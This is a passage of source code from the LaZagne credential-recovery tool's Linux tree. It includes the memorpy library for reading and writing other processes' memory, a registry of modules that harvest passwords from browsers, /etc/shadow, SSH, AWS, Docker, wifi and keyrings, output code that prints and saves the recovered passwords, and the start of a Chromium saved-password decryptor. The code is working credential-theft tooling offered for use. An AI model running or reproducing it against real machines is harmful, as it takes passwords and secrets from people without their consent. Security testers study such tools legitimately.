SECURITY_DESCRIPTOR() process = kernel32.OpenProcess(262144, 0, dwProcessId) advapi32.GetSecurityInfo(kernel32.GetCurrentProcess(), 6, 0, byref(ppsidOwner), byref(ppsidGroup), byref(ppDacl), byref(ppSacl), byref(ppSecurityDescriptor)) advapi32.SetSecurityInfo(process, 6, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, None, None, ppSecurityDescriptor.dacl, ppSecurityDescriptor.group) kernel32.CloseHandle(process) self.h_process = kernel32.OpenProcess(2035711, 0, dwProcessId) if self.h_process is not None: self.isProcessOpen = True self.pid = dwProcessId return True return False def close(self): if self.h_process is not None: ret = kernel32.CloseHandle(self.h_process) == 1 if ret: self.h_process = None self.pid = None self.isProcessOpen = False return ret return False def _open_from_name(self, processName, debug=False): processes = self.processes_from_name(processName) if not processes: raise ProcessException("can't get pid from name %s" % processName) elif len(processes)>1: raise ValueError("There is multiple processes with name %s. Please select a process from its pid instead"%processName) if debug: self._open(processes[0]["pid"], debug=True) else: self._open(processes[0]["pid"], debug=False) def GetSystemInfo(self): si = SYSTEM_INFO() kernel32.GetSystemInfo(byref(si)) return si def GetNativeSystemInfo(self): si = SYSTEM_INFO() kernel32.GetNativeSystemInfo(byref(si)) return si def VirtualQueryEx(self, lpAddress): mbi = MEMORY_BASIC_INFORMATION() if not VirtualQueryEx(self.h_process, lpAddress, byref(mbi), sizeof(mbi)): raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress) return mbi def VirtualQueryEx64(self, lpAddress): mbi = MEMORY_BASIC_INFORMATION64() if not VirtualQueryEx64(self.h_process, lpAddress, byref(mbi), sizeof(mbi)): raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress) return mbi def VirtualProtectEx(self, base_address, size, protection): old_protect = c_ulong(0) if not kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)): raise ProcessException('Error: VirtualProtectEx(%08X, %d, %08X)' % (base_address, size, protection)) return old_protect.value def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): offset = start_offset or self.min_addr end_offset = end_offset or self.max_addr while True: if offset >= end_offset: break mbi = self.VirtualQueryEx(offset) offset = mbi.BaseAddress chunk = mbi.RegionSize protect = mbi.Protect state = mbi.State #print "offset: %s, chunk:%s"%(offset, chunk) if state & MEM_FREE or state & MEM_RESERVE: offset += chunk continue if protec: if not protect & protec or protect & PAGE_NOCACHE or protect & PAGE_WRITECOMBINE or protect & PAGE_GUARD: offset += chunk continue yield offset, chunk offset += chunk def write_bytes(self, address, data): address = int(address) if not self.isProcessOpen: raise ProcessException("Can't write_bytes(%s, %s), process %s is not open" % (address, data, self.pid)) buffer = create_string_buffer(data) sizeWriten = c_size_t(0) bufferSize = sizeof(buffer) - 1 _address = address _length = bufferSize + 1 try: old_protect = self.VirtualProtectEx(_address, _length, PAGE_EXECUTE_READWRITE) except: pass res = kernel32.WriteProcessMemory(self.h_process, address, buffer, bufferSize, byref(sizeWriten)) try: self.VirtualProtectEx(_address, _length, old_protect) except: pass return res def read_bytes(self, address, bytes = 4, use_NtWow64ReadVirtualMemory64=False): #print "reading %s bytes from addr %s"%(bytes, address) if use_NtWow64ReadVirtualMemory64: if NtWow64ReadVirtualMemory64 is None: raise WindowsError("NtWow64ReadVirtualMemory64 is not available from a 64bit process") RpM = NtWow64ReadVirtualMemory64 else: RpM = ReadProcessMemory address = int(address) buffer = create_string_buffer(bytes) bytesread = c_size_t(0) data = b'' length = bytes while length: if RpM(self.h_process, address, buffer, bytes, byref(bytesread)) or (use_NtWow64ReadVirtualMemory64 and GetLastError() == 0): if bytesread.value: data += buffer.raw[:bytesread.value] length -= bytesread.value address += bytesread.value if not len(data): raise ProcessException('Error %s in ReadProcessMemory(%08x, %d, read=%d)' % (GetLastError(), address, length, bytesread.value)) return data else: if GetLastError()==299: #only part of ReadProcessMemory has been done, let's return it data += buffer.raw[:bytesread.value] return data raise WinError() # data += buffer.raw[:bytesread.value] # length -= bytesread.value # address += bytesread.value return data def list_modules(self): module_list = [] if self.pid is not None: hModuleSnap = CreateToolhelp32Snapshot(TH32CS_CLASS.SNAPMODULE, self.pid) if hModuleSnap is not None: module_entry = MODULEENTRY32() module_entry.dwSize = sizeof(module_entry) success = Module32First(hModuleSnap, byref(module_entry)) while success: if module_entry.th32ProcessID == self.pid: module_list.append(copy.copy(module_entry)) success = Module32Next(hModuleSnap, byref(module_entry)) kernel32.CloseHandle(hModuleSnap) return module_list def get_symbolic_name(self, address): for m in self.list_modules(): if int(m.modBaseAddr) <= int(address) < int(m.modBaseAddr + m.modBaseSize): return '%s+0x%08X' % (m.szModule, int(address) - m.modBaseAddr) return '0x%08X' % int(address) def hasModule(self, module): if module[-4:] != '.dll': module += '.dll' module_list = self.list_modules() for m in module_list: if module in m.szExePath.split('\\'): return True return False def get_instruction(self, address): """ Pydasm disassemble utility function wrapper. Returns the pydasm decoded instruction in self.instruction. """ import pydasm try: data = self.read_bytes(int(address), 32) except: return 'Unable to disassemble at %08x' % address return pydasm.get_instruction(data, pydasm.MODE_32) ================================================ FILE: Linux/lazagne/config/lib/memorpy/WinStructures.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . from ctypes import Structure, c_long, c_int, c_uint, c_char, c_void_p, c_ubyte, c_ushort, c_ulong, c_ulonglong, windll, POINTER, sizeof, c_bool, c_size_t, c_longlong from ctypes.wintypes import * if sizeof(c_void_p) == 8: ULONG_PTR = c_ulonglong else: ULONG_PTR = c_ulong class SECURITY_DESCRIPTOR(Structure): _fields_ = [ ('SID', DWORD), ('group', DWORD), ('dacl', DWORD), ('sacl', DWORD), ('test', DWORD) ] PSECURITY_DESCRIPTOR = POINTER(SECURITY_DESCRIPTOR) class MEMORY_BASIC_INFORMATION(Structure): _fields_ = [('BaseAddress', c_void_p), ('AllocationBase', c_void_p), ('AllocationProtect', DWORD), ('RegionSize', c_size_t), ('State', DWORD), ('Protect', DWORD), ('Type', DWORD)] # https://msdn.microsoft.com/fr-fr/library/windows/desktop/aa366775(v=vs.85).aspx class MEMORY_BASIC_INFORMATION64(Structure): _fields_ = [('BaseAddress', c_ulonglong), ('AllocationBase', c_ulonglong), ('AllocationProtect', DWORD), ('alignement1', DWORD), ('RegionSize', c_ulonglong), ('State', DWORD), ('Protect', DWORD), ('Type', DWORD), ('alignement2', DWORD)] class SYSTEM_INFO(Structure): _fields_ = [('wProcessorArchitecture', WORD), ('wReserved', WORD), ('dwPageSize', DWORD), ('lpMinimumApplicationAddress', LPVOID), ('lpMaximumApplicationAddress', LPVOID), ('dwActiveProcessorMask', ULONG_PTR), ('dwNumberOfProcessors', DWORD), ('dwProcessorType', DWORD), ('dwAllocationGranularity', DWORD), ('wProcessorLevel', WORD), ('wProcessorRevision', WORD)] class PROCESSENTRY32(Structure): _fields_ = [('dwSize', c_uint), ('cntUsage', c_uint), ('th32ProcessID', c_uint), ('th32DefaultHeapID', c_uint), ('th32ModuleID', c_uint), ('cntThreads', c_uint), ('th32ParentProcessID', c_uint), ('pcPriClassBase', c_long), ('dwFlags', DWORD), #('dwFlags', ULONG_PTR), ('szExeFile', c_char * 260), ('th32MemoryBase', c_long), ('th32AccessKey', c_long)] class MODULEENTRY32(Structure): _fields_ = [('dwSize', c_uint), ('th32ModuleID', c_uint), ('th32ProcessID', c_uint), ('GlblcntUsage', c_uint), ('ProccntUsage', c_uint), ('modBaseAddr', c_uint), ('modBaseSize', c_uint), ('hModule', c_uint), ('szModule', c_char * 256), ('szExePath', c_char * 260)] class THREADENTRY32(Structure): _fields_ = [('dwSize', c_uint), ('cntUsage', c_uint), ('th32ThreadID', c_uint), ('th32OwnerProcessID', c_uint), ('tpBasePri', c_uint), ('tpDeltaPri', c_uint), ('dwFlags', c_uint)] class TH32CS_CLASS(object): INHERIT = 2147483648 SNAPHEAPLIST = 1 SNAPMODULE = 8 SNAPMODULE32 = 16 SNAPPROCESS = 2 SNAPTHREAD = 4 ALL = 2032639 Module32First = windll.kernel32.Module32First Module32First.argtypes = [c_void_p, POINTER(MODULEENTRY32)] Module32First.rettype = c_int Module32Next = windll.kernel32.Module32Next Module32Next.argtypes = [c_void_p, POINTER(MODULEENTRY32)] Module32Next.rettype = c_int Process32First = windll.kernel32.Process32First Process32First.argtypes = [c_void_p, POINTER(PROCESSENTRY32)] Process32First.rettype = c_int Process32Next = windll.kernel32.Process32Next Process32Next.argtypes = [c_void_p, POINTER(PROCESSENTRY32)] Process32Next.rettype = c_int CreateToolhelp32Snapshot = windll.kernel32.CreateToolhelp32Snapshot CreateToolhelp32Snapshot.reltype = c_long CreateToolhelp32Snapshot.argtypes = [c_int, c_int] CloseHandle = windll.kernel32.CloseHandle CloseHandle.argtypes = [c_void_p] CloseHandle.rettype = c_int OpenProcess = windll.kernel32.OpenProcess OpenProcess.argtypes = [c_void_p, c_int, c_long] OpenProcess.rettype = c_long OpenProcessToken = windll.advapi32.OpenProcessToken OpenProcessToken.argtypes = (HANDLE, DWORD, POINTER(HANDLE)) OpenProcessToken.restype = BOOL ReadProcessMemory = windll.kernel32.ReadProcessMemory ReadProcessMemory.argtypes = [HANDLE, LPCVOID, LPVOID, c_size_t, POINTER(c_size_t)] ReadProcessMemory = windll.kernel32.ReadProcessMemory WriteProcessMemory = windll.kernel32.WriteProcessMemory WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t, POINTER(c_size_t)] WriteProcessMemory.restype = BOOL if sizeof(c_void_p) == 8: NtWow64ReadVirtualMemory64=None else: try: NtWow64ReadVirtualMemory64 = windll.ntdll.NtWow64ReadVirtualMemory64 NtWow64ReadVirtualMemory64.argtypes = [HANDLE, c_longlong, LPVOID, c_ulonglong, POINTER(c_ulong)] # NTSTATUS (__stdcall *NtWow64ReadVirtualMemory64)(HANDLE ProcessHandle, PVOID64 BaseAddress, PVOID Buffer, ULONGLONG BufferSize, PULONGLONG NumberOfBytesRead); NtWow64ReadVirtualMemory64.restype = BOOL except: NtWow64ReadVirtualMemory64=None VirtualQueryEx = windll.kernel32.VirtualQueryEx VirtualQueryEx.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION), c_size_t] VirtualQueryEx.restype = c_size_t #VirtualQueryEx64 = windll.kernel32.VirtualQueryEx #VirtualQueryEx64.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION64), c_size_t] #VirtualQueryEx64.restype = c_size_t PAGE_EXECUTE_READWRITE = 64 PAGE_EXECUTE_READ = 32 PAGE_READONLY = 2 PAGE_READWRITE = 4 PAGE_NOCACHE = 512 PAGE_WRITECOMBINE = 1024 PAGE_GUARD = 256 MEM_COMMIT = 4096 MEM_FREE = 65536 MEM_RESERVE = 8192 UNPROTECTED_DACL_SECURITY_INFORMATION = 536870912 DACL_SECURITY_INFORMATION = 4 ================================================ FILE: Linux/lazagne/config/lib/memorpy/__init__.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . import logging logger=logging.getLogger("memorpy") logger.setLevel(logging.WARNING) ch = logging.StreamHandler() ch.setLevel(logging.WARNING) logger.addHandler(ch) import sys from .MemWorker import * from .Locator import * from .Address import * from .Process import * from .utils import * #if sys.platform=="win32": # from wintools import * #not a necessary dependency, just used for debugging ================================================ FILE: Linux/lazagne/config/lib/memorpy/structures.py ================================================ #!/usr/bin/env python # -*- coding: UTF8 -*- import sys if sys.platform=="win32": from .WinStructures import * else: from .LinStructures import * ================================================ FILE: Linux/lazagne/config/lib/memorpy/utils.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . import re import struct def re_to_unicode(s): newstring = '' for c in s: newstring += re.escape(c) + '\\x00' return newstring def type_unpack(type): """ return the struct and the len of a particular type """ type = type.lower() s = None l = None if type == 'short': s = 'h' l = 2 elif type == 'ushort': s = 'H' l = 2 elif type == 'int': s = 'i' l = 4 elif type == 'uint': s = 'I' l = 4 elif type == 'long': s = 'l' l = 4 elif type == 'ulong': s = 'L' l = 4 elif type == 'float': s = 'f' l = 4 elif type == 'double': s = 'd' l = 8 else: raise TypeError('Unknown type %s' % type) return ('<' + s, l) def hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'): """ function originally from pydbg, modified to display other types """ dump = prefix slice = '' if ftype != 'bytes': structtype, structlen = type_unpack(ftype) for i in range(0, len(data), structlen): if addr % 16 == 0: dump += ' ' for char in slice: if ord(char) >= 32 and ord(char) <= 126: dump += char else: dump += '.' dump += '\n%s%08X: ' % (prefix, addr) slice = '' tmpval = 'NaN' try: packedval = data[i:i + structlen] tmpval = struct.unpack(structtype, packedval)[0] except Exception as e: print(e) if tmpval == 'NaN': dump += '{:<15} '.format(tmpval) elif ftype == 'float': dump += '{:<15.4f} '.format(tmpval) else: dump += '{:<15} '.format(tmpval) addr += structlen else: for byte in data: if addr % 16 == 0: dump += ' ' for char in slice: if ord(char) >= 32 and ord(char) <= 126: dump += char else: dump += '.' dump += '\n%s%08X: ' % (prefix, addr) slice = '' dump += '%02X ' % byte slice += chr(byte) addr += 1 remainder = addr % 16 if remainder != 0: dump += ' ' * (16 - remainder) + ' ' for char in slice: if ord(char) >= 32 and ord(char) <= 126: dump += char else: dump += '.' return dump + '\n' ================================================ FILE: Linux/lazagne/config/lib/memorpy/version.py ================================================ #!/usr/bin/env python # -*- coding: UTF8 -*- version=(1,7) version_string="%s.%s"%version ================================================ FILE: Linux/lazagne/config/lib/memorpy/wintools.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . from ctypes import windll import time def start_winforeground_daemon(): import threading t=threading.Thread(target=window_foreground_loop) t.daemon=True t.start() def window_foreground_loop(timeout=20): """ set the windows python console to the foreground (for example when you are working with a fullscreen program) """ hwnd = windll.kernel32.GetConsoleWindow() HWND_TOPMOST = -1 SWP_NOMOVE = 2 SWP_NOSIZE = 1 while True: windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE) time.sleep(timeout) ================================================ FILE: Linux/lazagne/config/manage_modules.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from lazagne.config.soft_import_module import soft_import # browsers from lazagne.softwares.browsers.firefox_browsers import firefox_browsers from lazagne.softwares.browsers.chromium_browsers import chromium_browsers # mails from lazagne.softwares.mails.thunderbird_mails import thunderbird_mails try: from lazagne.softwares.memory.memorydump import MemoryDump except ImportError: pass def get_categories(): category = { 'chats': {'help': 'Chat clients supported'}, 'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'}, 'databases': {'help': 'SQL clients supported'}, 'mails': {'help': 'Email clients supported'}, 'memory': {'help': 'Retrieve passwords from memory'}, 'wifi': {'help': 'Wifi'}, 'browsers': {'help': 'Web browsers supported'}, 'wallet': {'help': 'Windows credentials (credential manager, etc.)'}, 'git': {'help': 'GIT clients supported'}, 'unused': {'help': 'This modules could not be used because of broken dependence'} } return category def get_modules_names(): return [ ("lazagne.softwares.mails.clawsmail", "ClawsMail"), ("lazagne.softwares.databases.dbvis", "DbVisualizer"), ("lazagne.softwares.sysadmin.env_variable", "Env_variable"), ("lazagne.softwares.sysadmin.apachedirectorystudio", "ApacheDirectoryStudio"), ("lazagne.softwares.sysadmin.filezilla", "Filezilla"), ("lazagne.softwares.sysadmin.fstab", "Fstab"), ("lazagne.softwares.browsers.opera", "Opera"), ("lazagne.softwares.chats.pidgin", "Pidgin"), ("lazagne.softwares.chats.psi", "PSI"), ("lazagne.softwares.sysadmin.shadow", "Shadow"), ("lazagne.softwares.sysadmin.aws", "Aws"), ("lazagne.softwares.sysadmin.docker", "Docker"), ("lazagne.softwares.sysadmin.rclone", "Rclone"), ("lazagne.softwares.sysadmin.ssh", "Ssh"), ("lazagne.softwares.sysadmin.cli", "Cli"), ("lazagne.softwares.sysadmin.gftp", "gFTP"), ("lazagne.softwares.sysadmin.keepassconfig", "KeePassConfig"), ("lazagne.softwares.sysadmin.grub", "Grub"), ("lazagne.softwares.databases.sqldeveloper", "SQLDeveloper"), ("lazagne.softwares.databases.squirrel", "Squirrel"), ("lazagne.softwares.wifi.wifi", "Wifi"), ("lazagne.softwares.wifi.wpa_supplicant", "Wpa_supplicant"), ("lazagne.softwares.wallet.kde", "Kde"), ("lazagne.softwares.wallet.libsecret", "Libsecret"), ("lazagne.softwares.memory.mimipy", "Mimipy"), ("lazagne.softwares.git.gitforlinux", "GitForLinux") ] # very long to execute # try: # module_names.append(MemoryDump()) # except: # pass def get_modules(): modules = [soft_import(package_name, module_name)() for package_name, module_name in get_modules_names()] return modules + chromium_browsers + firefox_browsers + thunderbird_mails ================================================ FILE: Linux/lazagne/config/module_info.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- """ name => Name of a class category => windows / browsers / etc options => dictionary - command - action - dest - help ex: ('-s', action='store_true', dest='skype', help='skype') - options['command'] = '-s' - options['action'] = 'store_true' - options['dest'] = 'skype' - options['help'] = 'skype' """ from lazagne.config.write_output import print_debug class ModuleInfo(object): def __init__(self, name, category, options={}, suboptions=[]): self.name = name self.category = category self.options = { 'command': '-{name}'.format(name=self.name), 'action': 'store_true', 'dest': self.name, 'help': '{name} passwords'.format(name=self.name) } self.suboptions = suboptions def error(self, message): print_debug('ERROR', message) def info(self, message): print_debug('INFO', message) def debug(self, message): print_debug('DEBUG', message) def warning(self, message): print_debug('WARNING', message) ================================================ FILE: Linux/lazagne/config/run.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python import getpass import traceback from collections import OrderedDict from lazagne.config.write_output import print_debug, StandardOutput from lazagne.config.constant import constant from lazagne.config.manage_modules import get_categories, get_modules def create_module_dic(): if constant.modules_dic: return constant.modules_dic modules = {} # Define a dictionary for all modules for category in get_categories(): modules[category] = {} # Add all modules to the dictionary for m in get_modules(): modules[m.category][m.options['dest']] = m constant.modules_dic = modules return modules def run_module(module, subcategories): """ Run only one module """ modules_to_launch = [] # Launch only a specific module for i in subcategories: if subcategories[i] and i in module: modules_to_launch.append(i) # Launch all modules if not modules_to_launch: modules_to_launch = module for i in modules_to_launch: try: constant.st.title_info(i.capitalize()) # Print title pwd_found = module[i].run() # Run the module constant.st.print_output(i.capitalize(), pwd_found) # Print the results # Return value - not used but needed yield True, i.capitalize(), pwd_found except Exception: error_message = traceback.format_exc() print_debug('DEBUG', error_message) yield False, i.capitalize(), error_message def run_modules(category_selected, subcategories): """ Run modules """ modules = create_module_dic() categories = {category_selected: get_categories()[category_selected]} \ if category_selected != 'all' else get_categories() # Sort dict in reverse mode to run libsecrets as first module for cat in OrderedDict(reversed(sorted(categories.items(), key=lambda t: t[0]))): for r in run_module(modules[cat], subcategories): yield r def run_lazagne(category_selected='all', subcategories={}): """ Main function """ if not constant.st: constant.st = StandardOutput() user = getpass.getuser() constant.finalResults = {'User': user} for r in run_modules(category_selected, subcategories): yield r constant.stdout_result.append(constant.finalResults) ================================================ FILE: Linux/lazagne/config/soft_import_module.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from importlib import import_module from lazagne.config.module_info import ModuleInfo def soft_import(package_name, module_name): """ Imports module or return mock object which only print error """ try: module = import_module(package_name) return getattr(module, module_name) except ImportError as ex: # Emulate import ModuleInfo: return object (function) which generates objects of type ModuleInfo # This could be done with metaclasses, but now let's just keep it simple. def get_import_error_mock(module_name, exception): return lambda *args, **kwargs: _MOCK_ImportErrorInModule(module_name, exception) return get_import_error_mock(module_name, ex) class _MOCK_ImportErrorInModule(ModuleInfo): def __init__(self, name, exception): super(_MOCK_ImportErrorInModule, self).__init__(name, "unused") self.__message_to_print = "Module %s is not used due to unresolved dependence:\r\n%s" % (name, str(exception)) def run(self): self.error(self.__message_to_print) ================================================ FILE: Linux/lazagne/config/write_output.py ================================================ #!/usr/bin/env python # -*- encoding: utf-8 -*- import json import logging import getpass import socket import sys import os from lazagne.config.constant import constant from platform import uname from time import gmtime, strftime from collections import OrderedDict class Bcolors(): HEADER = '\033[95m' OKBLUE = '\033[94m' OK = '\033[92m' WARNING = '\033[96m' FAIL = '\033[91m' TITLE = '\033[93m' ENDC = '\033[0m' class StandardOutput(): def __init__(self): self.banner = ''' |====================================================================| | | | The LaZagne Project | | | | ! BANG BANG ! | | | |====================================================================| ''' def set_color(self, color=None): b = Bcolors() sys.stdout.write({'white': b.TITLE, 'red': b.FAIL, 'green': b.OK, 'cyan': b.WARNING}.get(color, b.ENDC)) # Print banner def first_title(self): self.do_print(message=self.banner, color='white') # Python 3.7.3 on Darwin x86_64: i386 python_banner = 'Python {}.{}.{} on'.format(*sys.version_info) + " {0} {4}: {5}\n".format(*uname()) self.print_logging(function=logging.debug, prefix='[!]', message=python_banner, color='white') # Info option for the logging def print_title(self, title): t = u'------------------- ' + title + ' passwords -----------------\n' self.do_print(message=t, color='white') # Debug option for the logging def title_info(self, title): t = u'------------------- ' + title + ' passwords -----------------\n' self.print_logging(function=logging.info, prefix='', message=t, color=False) def write_header(self): time = strftime("%Y-%m-%d %H:%M:%S", gmtime()) header = u'{banner}\r\n- Date: {date}\r\n- Username: {username}\r\n- Hostname:{hostname}\r\n\r\n'.format( banner=self.banner.replace('\n', '\r\n'), date=str(time), username=getpass.getuser(), hostname=socket.gethostname() ) open(os.path.join(constant.folder_name, '{filename}.txt'.format(filename=constant.file_name_results)), "a+").write(header) def write_footer(self): footer = '\n[+] %s passwords have been found.\r\n\r\n' % str(constant.nb_password_found) open(os.path.join(constant.folder_name, '{filename}.txt'.format(filename=constant.file_name_results)), "a+").write(footer) def print_footer(self, elapsed_time=None): footer = '\n[+] %s passwords have been found.\n' % str(constant.nb_password_found) if not logging.getLogger().isEnabledFor(logging.INFO): footer += 'For more information launch it again with the -v option\n' if elapsed_time: footer += '\nelapsed time = ' + str(elapsed_time) self.do_print(footer) def print_logging(self, function, prefix='[!]', message='', color=False): if constant.quiet_mode: return try: msg = u'{prefix} {msg}'.format(prefix=prefix, msg=message) except Exception: msg = '{prefix} {msg}'.format(prefix=prefix, msg=str(message)) if color: self.set_color(color) function(msg) self.set_color() else: function(msg) def try_unicode(self, obj, encoding='utf-8'): try: if isinstance(obj, basestring): # noqa: F821 if not isinstance(obj, unicode): # noqa: F821 obj = unicode(obj, encoding) # noqa: F821 except Exception: pass return obj def print_without_error(self, message): try: print(message) except Exception: print(repr(message)) # Centralize print function def do_print(self, message='', color=False): # Quiet mode => nothing is printed if constant.quiet_mode: return message = self.try_unicode(message) if color: self.set_color(color=color) self.print_without_error(message) self.set_color() else: self.print_without_error(message) def checks_write(self, values, category): if values: if "Passwords" not in constant.finalResults: constant.finalResults["Passwords"] = [] constant.finalResults["Passwords"].append([{"Category": category}, values]) def print_output(self, software_name, pwd_found): if pwd_found: # If the debug logging level is not apply => print the title if not logging.getLogger().isEnabledFor(logging.INFO): self.print_title(software_name) to_write = [] # Remove duplicated password pwd_found = [OrderedDict(t) for t in set([tuple(d.items()) for d in pwd_found])] for pwd in pwd_found: password_category = False # Detect which kinds of password has been found lower_list = [s.lower() for s in pwd] password = [s for s in lower_list if "password" in s] if password: password_category = password else: key = [s for s in lower_list if "key" in s] # for the wifi if key: password_category = key else: hash = [s for s in lower_list if "hash" in s] if hash: password_category = hash else: cmd = [s for s in lower_list if "cmd" in s] if cmd: password_category = cmd # Do not print empty passwords try: if not pwd[password_category[0].capitalize()]: continue except Exception: pass # No password found if not password_category: print_debug("ERROR", "Password not found !!!") else: # Store all passwords found on a table => for dictionary attack if master password set constant.nb_password_found += 1 passwd = None try: passwd = pwd[password_category[0].capitalize()] if passwd not in constant.password_found: constant.password_found.append(passwd) except Exception: pass # Password field is empty if not passwd: print_debug("FAILED", u'Password not found !!!') else: print_debug("OK", u'{password_category} found !!!'.format( password_category=password_category[0].title())) to_write.append(pwd) for p in pwd: self.do_print('%s: %s' % (p, pwd[p])) self.do_print() # Write credentials into a text file self.checks_write(to_write, software_name) else: print_debug("INFO", "No passwords found\n") def print_debug(error_level, message): # Quiet mode => nothing is printed if constant.quiet_mode: return # Print when password is found if error_level == 'OK': constant.st.do_print(message='[+] {message}'.format(message=message), color='green') # Print when password is not found elif error_level == 'ERROR': constant.st.do_print(message='[-] {message}'.format(message=message), color='red') elif error_level == 'CRITICAL' or error_level == 'ERROR': constant.st.print_logging(function=logging.error, prefix='[-]', message=message, color='red') elif error_level == 'WARNING': constant.st.print_logging(function=logging.warning, prefix='[!]', message=message, color='cyan') elif error_level == 'DEBUG': constant.st.print_logging(function=logging.debug, message=message, prefix='[!]') else: constant.st.print_logging(function=logging.info, message=message, prefix='[!]') # --------------------------- End of output functions --------------------------- def parse_json_result_to_buffer(json_string, color=False): green = '' reset = '' title = '' if color: b = Bcolors() green = b.OK title = b.TITLE reset = b.ENDC buffer = '' try: for json in json_string: if json: if 'Passwords' not in json: buffer += 'No passwords found for this user !' else: for all_passwords in json['Passwords']: buffer += '{title_color}------------------- {password_category} ----------' \ '-------{reset_color}\r\n'.format( title_color=title, password_category=all_passwords[0]['Category'], reset_color=reset ) for password_by_category in all_passwords[1]: buffer += '\r\n{green_color}Password found !!!{reset_color}\r\n'.format(green_color=green, reset_color=reset) for dic in password_by_category: try: buffer += '%s: %s\r\n' % (dic, password_by_category[dic]) except Exception: buffer += '%s: %s\r\n' % ( dic, password_by_category[dic].encode(encoding='utf-8', errors='replace')) buffer += '\r\n' except Exception as e: print_debug('ERROR', u'Error parsing the json results: {error}'.format(error=e)) return buffer def write_in_file(result): """ Write output to file (json and txt files) """ if constant.output in ('json', 'all'): try: # Human readable Json format pretty_json = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': ')) with open(os.path.join(constant.folder_name, constant.file_name_results + '.json'), 'a+b') as f: f.write(pretty_json.encode('UTF-8')) constant.st.do_print(u'[+] File written: {file}'.format( file=os.path.join(constant.folder_name, constant.file_name_results + '.json')) ) except Exception as e: print_debug('ERROR', u'Error writing the output file: {error}'.format(error=e)) if constant.output in ('txt', 'all'): try: with open(os.path.join(constant.folder_name, constant.file_name_results + '.txt'), 'a+b') as f: a = parse_json_result_to_buffer(result) f.write(a.encode("UTF-8")) constant.st.write_footer() constant.st.do_print(u'[+] File written: {file}'.format( file=os.path.join(constant.folder_name, constant.file_name_results + '.txt')) ) except Exception as e: print_debug('ERROR', u'Error writing the output file: {error}'.format(error=e)) ================================================ FILE: Linux/lazagne/softwares/__init__.py ================================================ ================================================ FILE: Linux/lazagne/softwares/browsers/__init__.py ================================================ # -*- coding: utf-8 -*- ================================================ FILE: Linux/lazagne/softwares/browsers/chromium_based.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import os import shutil import sqlite3 import struct import traceback from hashlib import pbkdf2_hmac # For non-keyring storage from Crypto.Cipher import AES from lazagne.config.constant import constant, python_version from lazagne.config.crypto.pyaes import AESModeOfOperationCBC from lazagne.config.module_info import ModuleInfo from lazagne.config import homes class ChromiumBased(ModuleInfo): def __init__(self, browser_name, path): self.path = path ModuleInfo.__init__(self, browser_name, category='browsers') self.enc_config = { 'iv': b' ' * 16, 'length': 16, 'salt': b'saltysalt', 'iterations': 1, } self.AES_BLOCK_SIZE = 16 def get_paths(self): for profile_dir in homes.get(directory=self.path): try: subdirs = os.listdir(profile_dir) except Exception: continue for subdir in subdirs: login_data = os.path.join(profile_dir, subdir, 'Login Data') if os.path.isfile(login_data): yield login_data def remove_padding(self, data): """ Remove PKCS#7 padding """ try: nb = struct.unpack('B', data[-1])[0] # Python 2 except Exception: nb = data[-1] # Python 3 try: return data[:-nb] except Exception: self.debug(traceback.format_exc()) return data def _decrypt_v80(self, buff, master_key, AES_mode): try: iv = buff[3:15] payload = buff[15:] cipher = AES.new(master_key, AES_mode, iv) decrypted_pass = cipher.decrypt(payload) decrypted_pass = decrypted_pass[:-16] # .decode() # remove suffix bytes return decrypted_pass except: pass def chrome_decrypt(self, encrypted_value, key, init_vector): encrypted_value = encrypted_value[3:] aes = AESModeOfOperationCBC(key, iv=init_vector) cleartxt = b"".join([aes.decrypt(encrypted_value[i:i + self.AES_BLOCK_SIZE]) for i in range(0, len(encrypted_value), self.AES_BLOCK_SIZE)]) return self.remove_padding(cleartxt) def get_passwords(self, path): try: conn = sqlite3.connect(path) except Exception: return 